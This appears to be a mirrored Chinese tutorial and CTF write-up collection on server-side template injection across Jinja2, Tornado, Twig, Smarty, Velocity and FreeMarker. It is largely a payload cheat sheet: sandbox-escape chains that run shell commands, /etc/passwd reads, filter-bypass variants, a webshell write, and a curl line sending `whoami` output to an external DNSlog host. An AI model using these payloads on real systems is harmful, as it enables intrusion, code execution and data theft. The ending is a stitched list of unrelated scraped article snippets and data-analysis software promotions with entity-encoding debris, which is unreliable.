web安全-SSTI模板注入漏洞

article/2025/10/10 4:48:31

一.初识SSTI

1.什么是SSTI注入?

SSTI模板注入(Server-Side Template Injection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。

2.SSTI漏洞成因

​漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

3. 利用条件

网站由数据与模板框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,当模板存在可控的参数变量或模板代码内有模板的调试功能,可能会导致SSTI模板注入,对大多数脚本类型均存在该注入。

二. 含注入风险的模板框架

1. python中的SSTI

python常见的模板有:Jinja2,tornado

Jinja2

python模板注入漏洞的产生在于Flask应用框架中render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,而且Flask模板中使用了Jinja2作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,在渲染的时候将{{}}包裹的内容作为变量解析替换,比如{{1+1}}会被解析成2。

以一道ctf例题展示模板框架及利用方法:

攻防世界shrine wp

源码:

import flask
import osapp = flask.Flask(__name__)
#用当前模块的路径初始化app,__name__是系统变量即程序主模块或者包的名字,该变量指的是本py文件的文件名。app.config['FLAG'] = os.environ.pop('FLAG')
#设置一个配置:app.config[‘FLAG’]就是当前app下一个变量名为’FLAG’的配置,
#它的值等于os.environ.pop(‘FLAG’)移除环境变量中的键名为’FLAG’的值。#访问http://ip/,则执行index()函数打开当前文件,读取文件内容,返回文件源码
@app.route('/')
def index():return open(__file__).read()#访问http://ip/shrine/,则调用flask.render_template_string函数
#返回渲染模板字符串safe_jinja(shrine)
@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')    #先去掉s字符串变量中的“(”和“)”左右括号blacklist = ['config', 'self']             #过滤掉config, self 关键字return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s  return flask.render_template_string(safe_jinja(shrine))  #渲染模板if __name__ == '__main__':app.run(debug=True)

shrine路径下,构造Python模板注入,发现存在模板注入

之后查看config、self配置:

过滤了括号和关键字,所以带括号的魔法函数都不能使用,可以利用其他Python内置函数

Python中常用于SSTI的魔术方法

__class__:返回类型所属的对象
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__:返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__:类的初始化方法
__globals__:对包含函数全局变量的字典的引用
__builtins__:builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。
app.config['FLAG'] = os.environ.pop('FLAG')

这道题中的目的是读取配置文件中变量名为’FLAG’的值,也就是环境变量中的键名为’FLAG’的值,但是config、self参数的值设为None,无法直接查看,可利用如下两种函数:

url_for()函数查看flag

用url_for函数来查看当前包中所有的静态文件,其中包括了配置文件。

先查看url_for函数的全局变量的字典的引用:

其中’current_app’: <Flask ‘app’>键值对,current_app意思是当前app,那么我们直接查看app.config[‘FLAG’]

get_flashed_messages()函数查看flag 

flash()用于闪现(可以理解为发送)一个消息。在模板中,使用 get_flashed_messages() 来获取消息(闪现信息只能取出一次,取出后闪现信息会被清空)。

flash()函数有三种形式缓存数据:
(1)缓存字符串内容。
设置闪现内容:flash(‘恭喜您登录成功’)
模板取出闪现内容:{% with messages = get_flashed_messages() %}
(2)缓存默认键值对。当闪现一个消息时,是可以提供一个分类的。未指定分类时默认的分类为 ‘message’ 。
设置闪现内容:flash(‘恭喜您登录成功’,“status”)
模板取出闪现内容:{% with messages = get_flashed_messages(with_categories=true) %}
(3)缓存自定义键值对。
设置闪现内容:flash(‘您的账户名为admin’,“username”)
模板取出闪现内容:{% with messages = get_flashed_messages(category_filter=[“username”])

所以我们可以通过get_flashed_messages()来获取所有缓存的闪现内容:

http://61.147.171.105:54585/shrine/{{get_flashed_messages.__globals__}}

漏洞利用

1.python沙盒逃逸

1.config

{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

2.self

{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

3.""、[]、()等数据结构

主要目的是配合__class__.__mro__[]这样找到object类
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}

4、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等

如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等),与上面的wp类似

例如:

{{url_for.__globals__['current_app'].config.FLAG}}{{get_flashed_messages.__globals__['current_app'].config.FLAG}}{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

2.文件读取

#获取''字符串的所属对象
>>> ''.__class__
<class 'str'>#获取str类的父类
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)#获取object类的所有子类
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>...
#有很多类,后面省略

现在只需要从这些类中寻找需要的类,用数组下标获取,然后执行该类中想要执行的函数即可。比如第21个类是file类,就可以构造利用:

''.__class__.__mro__[2].__subclasses__()[20]('<File_To_Read>').read()

再比如,如果没有file类,使用类<class '_frozen_importlib_external.FileLoader'>,可以进行文件的读取。

''.__class__.__mro__[2].__subclasses__()[20].get_data(0,"<file_To_Read>")

3.waf绕过

1.过滤[].

只过滤[]
(1) .pop()绕过(慎用,因为会删除相应的值)
可以返回指定序列属性中的某个索引处的元素或指定字典属性某个键对应的值,如下:
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性(2)__getitem__() 可以输出序列属性中的某个索引处的元素,如:
"".__class__.__mro__[2]与"".__class__.__mro__.__getitem__(2)是等价的若.也被过滤
(1)使用原生JinJa2函数|attr()
将request.__class__改成request|attr("__class__")
(2)利用[]绕过
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
等同
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

2.过滤引号

(1)利用request绕过
request.args.name/request.cookies.name/request.headers.name/request.values.name/request.form.name
利用这些都可以实现绕过,其中args接受GET传参,values接受POST传参,cookies接受cookie传参
例如:
?name={{[].__class__.__base__.__subclasses__()[100].__init__.__globals__['__import__']('os').popen('cat flag').read()}}
由于‘’被过滤了,于是可以换成下面这个语句:
?name={{[].__class__.__base__.__subclasses__()[100].__init__.__globals__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=cat flag(2)char绕过
先爆破看你的目标环境char在哪
{{().__class__.__base__.__subclasses__()[33].__init__.__globals__.__builtins__.chr}}
然后再把char赋给cha,再使用char()的形式替换引号内的命令
如:执行
{{().__class__.__base__.__subclasses__()[137].__init__.__globals__.popen('whoami').read()}}
则执行
{% set c = ().__class__.__base__.__subclasses__()[33].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[137].__init__.__globals__.popen(c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}

3.过滤下划线_

利用request.args属性
要执行:
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
则执行
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

4.过滤花括号{{

使用{% if ... %}1{% endif %},例如

(1)用{%....%}转载循环控制语句绕过(2)用{%print(.....)%}
{%print(''.__class__.__base__.__subclasses__()[103].__init__.__globals__['os'].popen('ls').read())%}(3)也可以用curl配合DNSlog外带数据
{% if ().__class__.__base__.__subclasses__()[33].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %}

5.引号内十六进制绕过

{{"".__class__}} 
{{""["\x5f\x5fclass\x5f\x5f"]}}

6." ’ chr等被过滤,无法引入字符串

直接拼接键名

dict(buil=aa,tins=dd)|join()

利用stringpoplistslicefirst等过滤器从已有变量里面直接找

(app.__doc__|list()).pop(102)|string()

构造出%c后,用格式化字符串代替chr

{%set udl=dict(a=pc,c=c).values()|join %}      # uld=%c
{%set i1=dict(a=i1,c=udl%(99)).values()|join %}

7.+等被过滤,无法拼接字符串

  • ~ 在jinja2中可以拼接字符串
  • 格式化字符串,同上

8.过滤关键字

比如经常会过滤flag

#字符串拼接绕过
{{[].__class__.__base__.__subclasses__()[20].__init__.__globals__['linecache']['os'].popen('cat /fl'+'ag').read()}}#编码绕过base64/Unicode编码/Hex编码
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等同于:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}#引号绕过,可以用 fl""ag 或 fl''ag 的形式来绕过:
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()#join函数绕过
print("fla".join("/g"))

tornado

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

以一道BUUCTF的题来演示一下tornado render模板注入:

BUUCTF easy_tornado wp

打开题目网站,发现存在三个文件,都打开看了下,在hint.txt文件中发现提示:

在flag.txt文件中也有提示flag在/fllllllllllllag文件中:

现在可以构造:filename=/fllllllllllllag&filehash=?,现在只有知道cookie_secret就可以构造出完整的payload。

welcome.txt文件中提示到render,渲染。

修改链接中的filename值,会发现链接跳转到一个错误页面。

tornado官方文档中指出cookie_secrethandler.settings中,访问

/error?msg={{handler.settings}}

经过两次MD5加密计算,构造payload,得到flag

2.php中的SSTI

php常见的模板:twig,smarty,blade

2.1 Twig

Twig模板语法官方文档

文件读取

{{'/etc/passwd'|file_excerpt(1,30)}}{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(20)}}

常见payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}{{_self.env.enableDebug()}}{{_self.env.isDebug()}}{{["id"]|map("system")|join(","){{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}{{["id",0]|sort("system")|join(",")}}{{["id"]|filter("system")|join(",")}}{{[0,0]|reduce("system","id")|join(",")}}{{['cat /etc/passwd']|filter('system')}}

BUUCTF-Cookie is so stable wp

看名字觉得和cookie注入有关,打开后看看hint的源代码:

打开flag界面发现有个注入点,抓包看看

 发现cookie,而且输入的username在返回中看到了,sql注入不存在,应该是ssti模板注入

尝试注入{{7*‘7’}},返回49,说明是Twig模板;但是如果返回7777777,则说明是Jinia2模板

返回49,证明是twig框架的漏洞,这个模板有固定的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

修改cookie中注入点user的值,可得到flag

2.2 Smarty

Smarty-SSTI常规利用方式

{$smarty.version}      #获取smarty的版本号{php}phpinfo();{/php}  #执行相应的php代码<script language="php">phpinfo();</script>   #{literal} 可以让一个模板区域的字符原样输出, 这经常用于保护页面上的Javascript或css样式表
这种写法只适用于php5环境{if phpinfo()}{/if}     #每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif}

smary中的{if}标签中可以执行的php语句:

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}

Bugku 聪明的php wp

进入环境 发现出现这个:

pass a parameter and maybe the flag file's filename is random :> 
传递一个参数,可能标记文件的文件名是随机的

于是传一下参,在原网页后面加上/?a=2,发现网页出现了变化

是smarty模板引擎的东西,试着注入

代码审计:

pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){highlight_file('index.php');foreach ($_GET AS $key => $value){print $key."\n";if(preg_match("/flag|\/flag/i", $value)){$smarty->display('./template.html');}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){$smarty->display('./template.html');            }else{$smarty->display("eval:".$value);}}
}
?> 

总结:get的值传给value 然后用正则匹配value,发现符合则输出template.html
所以我们的目标就是要绕过前两个正则
因为flag被过滤了所以不能查找flag
发现ls没有过滤 于是先试试ls
因为php中的system函数和exec函数,shell_exec函数都被过滤了,所以执行命令只能用passthru函数来执行。

?a={if passthru("ls -l")}{/if}

发现没有什么有用的信息
于是再翻下根目录

?a={if passthru("ls /")}{/if}

考虑把 _20199打开

但是打开命令cat被禁,可以用vi命令、tac命令或者more命令打开,得到flag。

?a={if passthru("vi /_20199")}{/if}
?a={if passthru("more /_20199")}{/if}
?id={if passthru("tac /_20199")}{/if}

3.Java中的SSTI

Velocity

基本语法

语句标识符

#用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。

变量

$用来标识一个变量,比如模板文件中为Hello $a,可以获取通过上下文传递的$a

声明

set用于声明Velocity脚本变量,变量可以在脚本中声明

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

 注释

单行注释为##,多行注释为成对出现的#* ............. *#

条件语句

以if/else为例:

#if($foo<10)<strong>1</strong>
#elseif($foo==10)<strong>2</strong>
#elseif($bar==6)<strong>3</strong>
#else<strong>4</strong>
#end

转义字符

如果$a已经被定义,但是又需要原样输出$a,可以试用\转义作为关键的$

使用Velocity主要流程为:

  • 初始化Velocity模板引擎,包括模板路径、加载类型等
  • 创建用于存储预传递到模板文件的数据的上下文
  • 选择具体的模板文件,传递数据完成渲染

代码示例:

package Velocity;import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;import java.io.StringWriter;public class VelocityTest {public static void main(String[] args) {VelocityEngine velocityEngine = new VelocityEngine();velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");velocityEngine.init();VelocityContext context = new VelocityContext();context.put("name", "Rai4over");context.put("project", "Velocity");Template template = velocityEngine.getTemplate("test.vm");StringWriter sw = new StringWriter();template.merge(context, sw);System.out.println("final output:" + sw);}
}

通过 VelocityEngine 创建模板引擎,接着 velocityEngine.setProperty 设置模板路径 src/main/resources、加载器类型为file,最后通过 velocityEngine.init() 完成引擎初始化。

通过 VelocityContext() 创建上下文变量,通过put添加模板中使用的变量到上下文。

通过 getTemplate 选择路径中具体的模板文件test.vm,创建 StringWriter 对象存储渲染结果,然后将上下文变量传入 template.merge 进行渲染。

FreeMarker

FreeMarker模板代码:

<html>
<head><title>Welcome!</title>
</head>
<body> <#–这是注释–><h1>Welcome ${user}!</h1><p>Our latest product:<a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>

模板文件存放在Web服务器上,就像通常存放静态HTML页面那样。当有人来访问这个页面, FreeMarker将会介入执行,然后动态转换模板,用最新的数据内容替换模板中 ${...} 的部分, 之后将结果发送到访问者的Web浏览器中。

主要的用法如下:

<# - 创建一个用户定义的指令,调用类的参数构造函数 - >
<#assign word_wrapp ="com.acmee.freemarker.WordWrapperDirective"?new()>
<# - 创建一个用户定义的指令,用一个数字参数调用构造函数 - >
<#assign word_wrapp_narrow ="com.acmee.freemarker.WordWrapperDirective"?new(40)>

调用了构造函数创建了一个对象,那么这个 payload 中就是调用的 freemarker 的内置执行命令的对象 Execute

freemarker.template.utility 里的Execute类,这个类会执行它的参数,因此我们可以利用new函数新建一个Execute类,传输我们要执行的命令作为参数,从而构造远程命令执行漏洞。构造payload:

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

freemarker.template.utility 里的ObjectConstructor类,如下图所示,这个类会把它的参数作为名称,构造了一个实例化对象。因此我们可以构造一个可执行命令的对象,从而构造远程命令执行漏洞。

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()

freemarker.template.utility 里的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>


http://chatgpt.dhexx.cn/article/D6ZPGFOj.shtml

相关文章

BugKu:Simple_SSTI(SSTI模板注入)

目录 1.Simple_SSTI_1 2.Simple_SSTI_2 1.Simple_SSTI_1 点击链接进入&#xff0c;题目说&#xff1a; You need pass in a parameter named flag。(你需要传入一个名为flag的参数)然后我们可以直接f12查看&#xff0c;也可以右击页面--->“检查” 如图所示&#xff0c;我…

SSTI模板注入绕过(进阶篇)

文章目录 语法变量过滤器总结获取内置方法 以chr为例字符串构造获取键值或下标获取属性 下面的内容均以jinja2为例&#xff0c;根据官方文档来探寻绕过方法 文档链接 默认大家都已经可以利用没有任何过滤的模板注入 语法 官方文档对于模板的语法介绍如下 {% ... %} for State…

学习ssti

ssti也叫做模板注入 当不正确的使用模板引擎进行渲染时&#xff0c;则会造成模板注入 比如render_template_string函数&#xff0c;当参数可控时&#xff0c;会造成模板注入 在Python的ssti中&#xff0c;大部分是依靠基类->子类->危险函数的方式来利用ssti python沙…

Simple_SSTI_1与Simple_SSTI_2

目录 一&#xff0c;Simple_SSTI_1 二&#xff0c;Simple_SSTI_2 一&#xff0c;Simple_SSTI_1 首先打开场景&#xff1a; 然后F12查看一下源码&#xff1a; 于是通过百度相关知识寻找线索&#xff1a; 1&#xff0c;SSTI &#xff1a;服务器端模版注入是指攻击者能够使用本…

Flask SSTI漏洞介绍及利用

1.ssti成因 flask使用jinjia2渲染引擎进行网页渲染&#xff0c;当处理不得当&#xff0c;未进行语句过滤&#xff0c;用户输入{{控制语句}}&#xff0c;会导致渲染出恶意代码&#xff0c;形成注入。 2.使用render_template()渲染页面时不存在注入漏洞。 对传入的参数不会执行…

ssti小总结

漏洞简介 SSTI即服务端模版注入攻击。由于程序员代码编写不当&#xff0c;导致用户输入可以修改服务端模版的执行逻辑&#xff0c;从而造成XSS,任意文件读取&#xff0c;代码执行等一系列问题. 1. 几种常用于ssti的魔术方法 __class__ 返回类型所属的对象 __mro__ 返回一个…

SSTI---总结

Laravel Blade是Laravel提供的一个既简单又强大的模板引擎 和其他流行的PHP模板引擎不一样&#xff0c;Blade并不限制你在视图view中使用原生的PHP代码 所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来&#xff0c;除非你的的模板文件修改&#xff0c;否则不会重新编…

SSTI入门详解

文章目录 关于基于flask的SSTI漏洞的阶段学习小结&#xff1a;SSTI的理解&#xff1a;SSTI引发的真正原因&#xff1a;render_template渲染函数是什么&#xff1a;render_template&#xff1a;注入的思想&#xff1a;playload 娓娓道来&#xff1a;魔术对象&#xff1a;用魔术对…

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么&#xff1f; 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入&#xff08;Server-Side Template Injection&#xff09; ​ 当前使用的一些框架&#xff0c;比如python的flask&#xff0c;php的tp&#xff0c;java的spring等一般都采用成熟的的MVC的模式&#xff0c;用户的输入先进入…

SSTI基础学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection)&#xff0c;也给出了一个注入的概念。 常见的注入有&#xff1a;SQL 注入&#xff0c;XSS 注入&#xff0c;XPATH 注入&#xff0c;XML 注入&#xff0c;代码注入&#xff0c;命令注入等等。SSTI也是…

SSTI模板注入总结

文章目录 一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结&#xff08;转载)5、常见过滤器&#xff08;转载&#xff09; 四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1[Bugku]Simple_SSTI_2 一、初识SSTI 1…

推荐一款数据分析软件DataLab

1月6日&#xff0c;科学数据中心软件栈正式发布数据分析软件DataLab v1.0.0&#xff0c;成为软件栈家族的第8名成员。 DataLab致力于提供领域可定制的科学数据软件分析框架&#xff0c;集成通用的科学数据处理组件和存算环境的一体化管理与调度&#xff0c;各科学数据中心/科研…

做数据分析,软件工具少不了,好用的数据分析软件工具

​大数据属于广泛性的术语&#xff0c;多指庞大而复杂的数据集等&#xff0c;他们需要专门设计的工具来进行处理。这些数据集收集自各种各样的来源&#xff1a;公开的信息等&#xff0c;如杂志&#xff0c;报纸&#xff0c;文章。大数据生成的其他例子包括购买交易记录&#xf…

2020十大最佳大数据分析工具

作者&#xff1a;Sunita Chauhan 转自&#xff1a;InfoQ https://www.infoq.cn/article/IEIa8zX2s0KpLYi34ocE 营销的基本原理是一致的&#xff0c;每个人都喜欢洞察力&#xff0c;因为这些数字模式可以提供最安全的方法来确保企业采取正确的行动&#xff0c;更有效地运作&…

【数据分析】33个热门数据分析软件,你都用过哪些?

最近有一位小伙伴问我&#xff0c;做数据岗该学习哪些软件&#xff0c;我想了想扔给他33个软件 数据分析工具类软件&#xff0c;大体可以分为以下5类&#xff1a; Excel生态工具、数理统计工具、BI工具、数据库工具、编程工具 &#xff08;Excel单独分成一类&#xff0c;主要是…

python数据分析用什么软件

Python是数据处理常用工具&#xff0c;可以处理数量级从几K至几T不等的数据&#xff0c;具有较高的开发效率和可维护性&#xff0c;还具有较强的通用性和跨平台性&#xff0c;这里就为大家分享几个不错的数据分析工具。 Python数据分析需要安装的第三方扩展库有&#xff1a;Num…

4大热门数据分析软件怎么选?看这篇就够了

有时候我们发现&#xff0c;技术和工具并不是核心要素&#xff0c;基于客户需求体验的产品设计和专业工程实施能力才是关键。大部分优秀的数据工具产品&#xff0c;也是胜在对数据的理解和治理的方法论上&#xff0c;赋以相应的工具&#xff0c;让能力加特。 机器学习、人工智…

盘点2021年10个顶级数据分析软件,及优缺点对比

1、Tableau公司 关键见解&#xff1a;即使在市场领导者中&#xff0c;Tableau公司也是数据分析软件市场上的顶级供应商。该公司于2019年被Salesforce公司收购。 该公司的数据分析平台以收集多个数据输入而闻名&#xff0c;允许用户将它们组合在一起&#xff0c;然后提供仪表板…